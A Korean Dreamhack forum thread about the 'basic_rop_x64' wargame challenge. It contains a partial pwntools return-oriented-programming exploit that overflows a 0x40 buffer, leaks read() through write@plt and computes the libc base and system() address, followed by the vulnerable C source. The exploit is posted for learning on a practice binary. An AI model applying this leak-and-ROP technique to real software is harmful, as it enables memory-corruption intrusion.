바로 앞에서 푼 문제와 이 문제에 대해 이해가 가질 않는 게 있습니다.
앞 문제에서 질문한 글 : https://dreamhack.io/forum/qna/2549
위의 링크에서 첫 번째 질문에 대한 답에 대해 이번 문제가 이해가 되질 않습니다.
첫 번째 입력(read)을 write_plt
로 read()
주소를 구한 후 lib_base
와 system()
주소를 구하는 과정에서 에러가 발생했습니다.
<에러가 나오는 익스플로잇 코드>
1 #!/usr/bin/python3
2
3 from pwn import *
4
5 #p = remote("host3.dreamhack.games", 9688)
6 p = process("./basic_rop_x64")
7 e = ELF("./basic_rop_x64")
8 lib = ELF("./libc.so.6")
9
10 context.log_level = "debug"
11
12 write_plt = e.plt["write"]
13 read_plt = e.plt["read"]
14 read_got = e.got["read"]
15 pop_rdi = 0x400883
16 pop_rsi_r15 = 0x400881
17
18 payload = b"A"*0x40 + b"B"*0x8
19 payload += p64(pop_rdi) + p64(1)
20 payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt)
21
22 p.send(payload)
23 #p.recvuntil(b"A"*0x40)
24 read = u64(p.recvn(6) + b"\x00" * 2)
25 lib_base = read - lib.symbols["read"]
26 system = lib_base + lib.symbols["system"]
27
28 print(hex(read))
29 print(hex(lib_base))
30 print(hex(system))
<결과(실패)>
context.log_level="debug"
를 이용해서 보시는 것처럼 p.recvuntil(b"A"*0x40)
을 해줘야 정상적으로 read()
주소를 구할 수 있다고 알게 되었습니다.
p.send(payload)
뒤에 p.recvuntil("A"*0x40)
을 넣어주고 다시 익스플로잇 해본 결과.
<결과(성공)>
잘 되는 것을 확인했습니다. 정리하자면 제일 위에 올린 링크에서 질문에 대한 답변을 보고나서 페이로드를 보내고 별 다른 출력 함수들(예를 들어 printf()
)이 없으면 p.recvuntil
등으로 페이로드 만큼의 데이터를 안빼는 것이라고 이해했었는데 잘못 이해한건가요??
문제마다 달라서 항상 디버그로 확인을 해야하나요??
#pwnable
작성자 정보
답변
2
wyv3rn
무플 방지 위원회장
코드 한번 올려봐주세요.
아마 scanf 또는 gets로 데이터를 받은 다음에 printf 로 입력받은 값을 출력해주지 싶은데요...
pwntools에서 recv나 send의 경우 무작정 보내는 것이 아닌 코드에 따라 어떻게 작동할지 결정하셔야합니다 ㅎㅎ
탈퇴한 이용자
대표 업적 없음
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <unistd.h>
5
6
7 void alarm_handler() {
8 puts("TIME OUT");
9 exit(-1);
10 }
11
12
13 void initialize() {
14 setvbuf(stdin, NULL, _IONBF, 0);
15 setvbuf(stdout, NULL, _IONBF, 0);
16
17 signal(SIGALRM, alarm_handler);
18 alarm(30);
19 }
20
21 int main(int argc, char *argv[]) {
22 char buf[0x40] = {};
23
24 initialize();
25
26 read(0, buf, 0x400);
27 write(1, buf, sizeof(buf));
28
29 return 0;
30 }